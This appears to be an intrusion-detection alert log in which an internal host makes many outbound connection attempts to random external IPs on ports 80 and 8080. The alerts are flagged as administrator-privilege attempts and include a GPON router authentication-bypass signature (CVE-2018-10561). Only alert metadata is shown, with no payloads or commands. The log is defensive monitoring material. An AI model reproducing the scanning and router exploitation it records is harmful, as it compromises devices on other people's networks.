2024-12-11T00:43:07.364771+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	36960	211.174.66.239	80	TCP
2024-12-11T00:43:07.365857+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	38360	140.124.226.188	8080	TCP
2024-12-11T00:43:07.368389+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	46238	174.204.37.155	8080	TCP
2024-12-11T00:43:07.369121+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	42320	84.150.50.209	80	TCP
2024-12-11T00:43:07.371665+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	59510	142.96.19.192	80	TCP
2024-12-11T00:43:07.382550+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	40440	21.244.144.86	80	TCP
2024-12-11T00:43:07.384722+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	60748	28.144.199.55	8080	TCP
2024-12-11T00:43:07.387272+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	36224	124.74.74.114	8080	TCP
2024-12-11T00:43:07.387676+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	47786	210.135.157.10	80	TCP
2024-12-11T00:43:07.388357+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	54236	136.34.183.2	80	TCP
2024-12-11T00:43:07.390899+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	39016	123.244.144.208	80	TCP
2024-12-11T00:43:07.391272+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	53766	161.185.149.32	80	TCP
2024-12-11T00:43:08.920578+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	33840	197.215.52.31	80	TCP
2024-12-11T00:43:17.322033+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	47890	57.137.146.124	80	TCP
2024-12-11T00:43:18.288047+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44310	191.118.66.148	8080	TCP
2024-12-11T00:43:18.288794+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	48506	87.186.17.243	80	TCP
2024-12-11T00:43:18.292874+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	40562	53.197.184.64	80	TCP
2024-12-11T00:43:18.293620+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	33368	150.143.19.210	80	TCP
2024-12-11T00:43:18.293980+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35442	145.145.175.50	8080	TCP
2024-12-11T00:43:18.295480+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	43934	136.165.68.160	80	TCP
2024-12-11T00:43:18.297687+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	60202	169.70.235.203	8080	TCP
2024-12-11T00:43:18.298058+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	41488	28.130.196.141	8080	TCP
2024-12-11T00:43:18.299164+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	34504	203.246.201.178	8080	TCP
2024-12-11T00:43:18.300261+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	53802	45.210.95.218	8080	TCP
2024-12-11T00:43:18.302485+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	52460	199.190.42.216	80	TCP
2024-12-11T00:43:18.304321+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35404	31.125.159.69	8080	TCP
2024-12-11T00:43:18.305072+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	58762	110.215.176.196	80	TCP
2024-12-11T00:43:18.312419+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	55614	75.28.78.167	80	TCP
2024-12-11T00:43:18.314288+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	46104	167.95.195.48	8080	TCP
2024-12-11T00:43:18.316791+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35810	19.207.169.63	8080	TCP
2024-12-11T00:43:18.319381+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	54992	34.251.227.117	80	TCP
2024-12-11T00:43:18.319738+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	55766	27.155.160.77	8080	TCP
2024-12-11T00:43:18.326403+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	46048	206.101.86.38	8080	TCP
2024-12-11T00:43:18.327502+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	43694	155.188.212.116	8080	TCP
2024-12-11T00:43:18.328243+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	46626	88.168.89.213	80	TCP
2024-12-11T00:43:18.328607+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	60616	204.174.148.48	80	TCP
2024-12-11T00:43:18.334154+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	59530	129.247.169.177	80	TCP
2024-12-11T00:43:18.334896+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	47966	189.212.174.222	80	TCP
2024-12-11T00:43:18.335665+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35286	75.198.60.36	80	TCP
2024-12-11T00:43:18.337158+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	58478	170.154.175.226	8080	TCP
2024-12-11T00:43:18.349027+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	33978	89.81.235.161	80	TCP
2024-12-11T00:43:18.349769+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	37148	93.127.201.166	8080	TCP
2024-12-11T00:43:18.353836+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	42762	115.67.171.112	8080	TCP
2024-12-11T00:43:18.357542+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	38470	94.38.108.174	80	TCP
2024-12-11T00:43:18.358271+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	38804	136.184.13.216	80	TCP
2024-12-11T00:43:18.360539+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	45944	156.233.225.157	8080	TCP
2024-12-11T00:43:18.368755+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	41742	139.126.200.221	8080	TCP
2024-12-11T00:43:18.371343+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	36794	4.241.28.42	8080	TCP
2024-12-11T00:43:18.372817+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	46108	211.91.199.166	8080	TCP
2024-12-11T00:43:18.379487+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	48098	123.107.138.33	80	TCP
2024-12-11T00:43:18.386112+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	53412	118.186.226.119	80	TCP
2024-12-11T00:43:18.387203+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	51522	50.156.95.160	80	TCP
2024-12-11T00:43:18.390562+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	56528	31.78.106.128	8080	TCP
2024-12-11T00:43:21.338964+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	56374	173.185.234.3	80	TCP
2024-12-11T00:43:28.340317+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	40528	21.59.139.64	80	TCP
2024-12-11T00:43:28.376866+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	57346	74.54.233.237	8080	TCP
2024-12-11T00:43:28.379771+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44230	217.205.0.182	8080	TCP
2024-12-11T00:43:29.284005+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	42616	46.243.211.13	80	TCP
2024-12-11T00:43:29.303168+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	48456	192.181.205.150	8080	TCP
2024-12-11T00:43:29.312923+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	56998	32.247.7.158	8080	TCP
2024-12-11T00:43:29.328572+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	43506	148.56.202.17	80	TCP
2024-12-11T00:43:29.343519+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	43690	17.99.132.43	8080	TCP
2024-12-11T00:43:30.286826+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	32932	144.217.176.174	8080	TCP
2024-12-11T00:43:30.294099+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	58340	222.201.49.84	8080	TCP
2024-12-11T00:43:30.331876+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	54198	89.17.140.79	8080	TCP
2024-12-11T00:43:30.341320+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44918	128.41.167.68	8080	TCP
2024-12-11T00:43:30.373282+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	40830	16.63.102.243	8080	TCP
2024-12-11T00:43:31.379169+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	49596	67.144.133.155	8080	TCP
2024-12-11T00:43:32.286165+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	39084	61.15.27.225	80	TCP
2024-12-11T00:43:32.305936+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	39230	157.15.102.44	80	TCP
2024-12-11T00:43:32.320188+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44104	98.140.251.200	8080	TCP
2024-12-11T00:43:32.351402+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	45914	26.89.112.145	80	TCP
2024-12-11T00:43:32.378806+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	51044	50.138.173.244	8080	TCP
2024-12-11T00:43:32.379176+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	54690	195.50.11.60	80	TCP
2024-12-11T00:43:32.389441+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	36458	101.115.94.177	80	TCP
2024-12-11T00:43:36.301326+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	34218	177.17.55.150	80	TCP
2024-12-11T00:43:36.375429+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	58794	57.103.185.124	8080	TCP
2024-12-11T00:43:37.290931+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35642	30.28.21.163	80	TCP
2024-12-11T00:43:37.364713+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	34968	9.177.77.216	80	TCP
2024-12-11T00:43:39.288300+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	39426	175.74.235.217	80	TCP
2024-12-11T00:43:39.325523+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	49922	150.93.111.212	8080	TCP
2024-12-11T00:43:39.347575+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	49386	120.56.66.31	80	TCP
2024-12-11T00:43:40.284073+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	59532	151.71.55.89	80	TCP
2024-12-11T00:43:40.304768+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	38120	215.143.219.254	8080	TCP
2024-12-11T00:43:40.345769+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	51964	105.19.219.193	80	TCP
2024-12-11T00:43:40.357800+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	42386	75.12.144.234	80	TCP
2024-12-11T00:43:40.372668+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	54292	35.253.237.210	8080	TCP
2024-12-11T00:43:41.350329+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	41928	195.18.48.5	80	TCP
2024-12-11T00:43:41.350699+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	43248	179.107.147.224	8080	TCP
2024-12-11T00:43:43.320023+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	38828	75.3.26.200	8080	TCP
2024-12-11T00:43:43.356689+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	57250	128.2.171.75	80	TCP
2024-12-11T00:43:44.323847+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	41984	96.245.28.149	80	TCP
2024-12-11T00:43:44.384908+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35660	190.32.214.119	80	TCP
2024-12-11T00:43:46.303675+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	45164	95.174.31.167	80	TCP
2024-12-11T00:43:46.345129+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	57512	192.239.126.221	8080	TCP
2024-12-11T00:43:46.384712+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	55118	84.156.8.83	80	TCP
2024-12-11T00:43:46.385820+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	37172	213.222.234.155	8080	TCP
2024-12-11T00:43:47.291715+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	39160	110.71.190.251	8080	TCP
2024-12-11T00:43:48.289155+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44612	142.162.134.183	8080	TCP
2024-12-11T00:43:48.290623+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	37358	152.54.31.241	80	TCP
2024-12-11T00:43:48.297496+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	46264	163.129.106.167	80	TCP
2024-12-11T00:43:48.307994+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	58724	201.229.9.38	80	TCP
2024-12-11T00:43:48.330321+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	56128	174.156.182.29	8080	TCP
2024-12-11T00:43:49.328965+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	37104	46.170.61.75	8080	TCP
2024-12-11T00:43:49.386645+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	36478	48.202.100.13	8080	TCP
2024-12-11T00:43:50.289944+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	46254	184.138.242.105	8080	TCP
2024-12-11T00:43:51.315699+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	38900	74.187.153.247	8080	TCP
2024-12-11T00:43:52.326707+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	43266	120.94.179.48	8080	TCP
2024-12-11T00:43:53.336484+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	56038	37.139.68.70	8080	TCP
2024-12-11T00:43:54.312564+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	38208	154.208.202.224	8080	TCP
2024-12-11T00:43:54.320206+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	55666	102.178.19.173	8080	TCP
2024-12-11T00:43:54.357046+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44242	50.49.69.82	80	TCP
2024-12-11T00:43:54.359965+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	60238	140.119.137.68	80	TCP
2024-12-11T00:43:54.361790+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	54044	139.49.74.132	80	TCP
2024-12-11T00:43:56.295123+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44122	165.47.104.244	8080	TCP
2024-12-11T00:43:56.296576+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	58422	64.254.44.85	80	TCP
2024-12-11T00:43:56.366493+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	34364	140.253.133.27	8080	TCP
2024-12-11T00:43:57.313011+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	41844	102.24.78.252	8080	TCP
2024-12-11T00:43:57.333724+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	49916	144.227.196.100	80	TCP
2024-12-11T00:43:58.327556+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	60298	165.218.169.147	8080	TCP
2024-12-11T00:43:58.336304+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	58532	23.32.17.190	8080	TCP
2024-12-11T00:43:58.369553+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	50170	3.3.120.115	8080	TCP
2024-12-11T00:43:58.374641+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	60128	209.120.9.27	8080	TCP
2024-12-11T00:43:59.078940+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	45186	115.9.47.4	8080	TCP
2024-12-11T00:43:59.320929+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	48450	46.166.100.140	80	TCP
2024-12-11T00:43:59.324219+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35250	9.158.231.22	8080	TCP
2024-12-11T00:43:59.352584+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	57296	23.245.92.23	80	TCP
2024-12-11T00:43:59.383504+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44244	156.24.118.37	80	TCP
2024-12-11T00:44:00.290393+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	47448	144.234.158.173	8080	TCP
2024-12-11T00:44:01.282016+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	56534	193.97.60.211	8080	TCP
2024-12-11T00:44:01.335966+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	49312	12.43.248.208	80	TCP
2024-12-11T00:44:02.282400+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35746	111.106.251.154	80	TCP
2024-12-11T00:44:02.309721+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44380	41.219.167.241	8080	TCP
2024-12-11T00:44:03.379830+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	41980	89.50.40.63	80	TCP
2024-12-11T00:44:04.346343+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	33514	56.123.14.33	80	TCP
2024-12-11T00:44:04.355942+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	45348	11.9.68.157	8080	TCP
2024-12-11T00:44:04.370198+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	48050	159.178.106.61	8080	TCP
2024-12-11T00:44:05.321691+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	46300	174.65.142.177	8080	TCP
2024-12-11T00:44:05.347895+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	37364	112.68.239.84	80	TCP
2024-12-11T00:44:05.370704+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	36954	80.219.171.111	8080	TCP
2024-12-11T00:44:05.377024+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	36888	77.45.35.75	80	TCP
2024-12-11T00:44:05.385651+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	58768	126.206.16.190	8080	TCP
2024-12-11T00:44:06.375018+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	44486	149.208.223.125	80	TCP
2024-12-11T00:44:06.387488+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	33388	173.214.173.162	8080	TCP
2024-12-11T00:44:07.301496+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	60982	192.222.110.210	8080	TCP
2024-12-11T00:44:07.335524+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	60942	184.39.177.209	8080	TCP
2024-12-11T00:44:07.370761+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	35710	162.113.251.157	80	TCP
2024-12-11T00:44:07.377149+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	38566	170.227.129.56	8080	TCP
2024-12-11T00:44:08.287466+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	42536	219.246.122.215	8080	TCP
2024-12-11T00:44:08.365163+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	49738	176.66.53.99	80	TCP
2024-12-11T00:44:08.377241+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	54296	166.156.55.120	80	TCP
2024-12-11T00:44:09.349814+0100	2029215	1	Attempted Administrator Privilege Gain	192.168.2.23	59358	117.40.15.123	80	TCP

ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T00:43:17.976552+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	41912	152.158.234.19	80	TCP
2024-12-11T00:43:18.085937+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	42154	71.44.225.112	80	TCP
2024-12-11T00:43:18.087487+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	51548	182.98.49.24	8080	TCP
2024-12-11T00:43:18.087768+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60422	184.96.7.28	8080	TCP
2024-12-11T00:43:18.088492+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56424	47.30.123.212	8080	TCP
2024-12-11T00:43:18.088729+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53384	162.198.43.227	8080	TCP
2024-12-11T00:43:18.089988+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	48676	40.223.116.254	80	TCP
2024-12-11T00:43:18.090642+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	38632	56.53.8.6	80	TCP
2024-12-11T00:43:18.090878+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	41714	113.229.7.213	80	TCP
2024-12-11T00:43:18.092271+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	54880	23.173.106.27	80	TCP
2024-12-11T00:43:18.092652+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	51378	113.145.142.202	8080	TCP
2024-12-11T00:43:18.093079+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	55264	9.58.179.109	80	TCP
2024-12-11T00:43:18.093396+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	54774	204.81.207.188	8080	TCP
2024-12-11T00:43:18.093584+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	51398	210.181.40.142	8080	TCP
2024-12-11T00:43:18.093768+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	43226	206.130.7.22	8080	TCP
2024-12-11T00:43:18.094600+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	54806	143.186.21.173	80	TCP
2024-12-11T00:43:18.094952+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53188	118.35.168.154	8080	TCP
2024-12-11T00:43:18.095296+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	39352	222.38.112.228	80	TCP
2024-12-11T00:43:18.096708+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	40630	9.109.75.127	8080	TCP
2024-12-11T00:43:18.117093+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	41280	215.50.246.23	8080	TCP
2024-12-11T00:43:18.227835+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37392	207.198.77.45	80	TCP
2024-12-11T00:43:18.228788+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	39344	205.19.156.154	80	TCP
2024-12-11T00:43:18.229284+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	41916	126.179.23.111	80	TCP
2024-12-11T00:43:18.242728+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	58674	163.115.127.191	80	TCP
2024-12-11T00:43:18.245597+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37292	149.210.29.201	80	TCP
2024-12-11T00:43:18.245999+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	36522	91.41.16.118	8080	TCP
2024-12-11T00:43:18.247533+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37956	90.24.179.163	8080	TCP
2024-12-11T00:43:18.248918+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	59066	67.156.164.38	80	TCP
2024-12-11T00:43:18.249169+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	59380	212.148.153.192	80	TCP
2024-12-11T00:43:18.320269+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	59740	56.225.44.220	8080	TCP
2024-12-11T00:43:18.320489+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	42120	92.244.233.206	8080	TCP
2024-12-11T00:43:18.321398+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60702	96.114.30.207	80	TCP
2024-12-11T00:43:18.335791+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	33314	153.28.27.68	8080	TCP
2024-12-11T00:43:18.336012+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60044	93.98.197.179	80	TCP
2024-12-11T00:43:18.337927+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	58704	134.145.254.175	8080	TCP
2024-12-11T00:43:18.338744+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	45250	45.22.47.103	8080	TCP
2024-12-11T00:43:18.339665+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	42466	82.213.155.86	8080	TCP
2024-12-11T00:43:18.343273+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53022	117.238.33.98	8080	TCP
2024-12-11T00:43:18.343657+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	47362	93.52.53.0	8080	TCP
2024-12-11T00:43:18.343760+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	44018	47.80.200.95	80	TCP
2024-12-11T00:43:18.343923+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	52410	8.202.67.229	8080	TCP
2024-12-11T00:43:18.344010+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	41214	96.205.70.202	80	TCP
2024-12-11T00:43:28.461097+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53476	71.213.59.190	80	TCP
2024-12-11T00:43:28.461344+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60090	54.126.187.157	80	TCP
2024-12-11T00:43:28.461563+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	50484	91.32.136.60	80	TCP
2024-12-11T00:43:29.431107+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	40856	23.210.109.40	8080	TCP
2024-12-11T00:43:29.431617+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	39800	205.55.79.236	8080	TCP
2024-12-11T00:43:29.432231+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	52956	34.155.65.192	8080	TCP
2024-12-11T00:43:29.432529+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56000	156.9.96.43	80	TCP
2024-12-11T00:43:29.433189+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56766	148.104.170.209	8080	TCP
2024-12-11T00:43:29.433195+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	57392	168.22.178.161	8080	TCP
2024-12-11T00:43:29.434543+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53262	137.77.114.156	80	TCP
2024-12-11T00:43:29.460925+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	46760	103.136.18.241	80	TCP
2024-12-11T00:43:29.461525+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	40464	174.191.244.5	8080	TCP
2024-12-11T00:43:29.462247+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	40490	48.76.49.73	80	TCP
2024-12-11T00:43:29.539563+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56064	131.11.250.52	8080	TCP
2024-12-11T00:43:29.539830+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	38914	179.129.124.12	8080	TCP
2024-12-11T00:43:29.540246+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60010	198.111.45.203	80	TCP
2024-12-11T00:43:29.540823+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53700	129.114.47.187	80	TCP
2024-12-11T00:43:29.541031+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	34116	174.193.104.217	80	TCP
2024-12-11T00:43:29.541319+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53702	120.95.235.71	80	TCP
2024-12-11T00:43:29.542294+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53116	105.183.55.212	8080	TCP
2024-12-11T00:43:29.542301+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	53960	117.138.201.233	8080	TCP
2024-12-11T00:43:29.542657+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	39954	76.56.4.87	8080	TCP
2024-12-11T00:43:29.555034+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	34660	175.193.203.48	80	TCP
2024-12-11T00:43:29.555045+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	38126	113.43.66.2	8080	TCP
2024-12-11T00:43:29.555834+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	60220	84.227.113.193	80	TCP
2024-12-11T00:43:29.556229+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37266	209.30.237.251	80	TCP
2024-12-11T00:43:29.570843+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	37332	64.90.223.116	80	TCP
2024-12-11T00:43:29.572159+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	58798	51.82.89.206	80	TCP
2024-12-11T00:43:29.572595+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	56956	34.70.187.128	8080	TCP
2024-12-11T00:43:29.573469+0100	2027063	1	Attempted Administrator Privilege Gain	192.168.2.23	45748	175.171.254.37	80	TCP
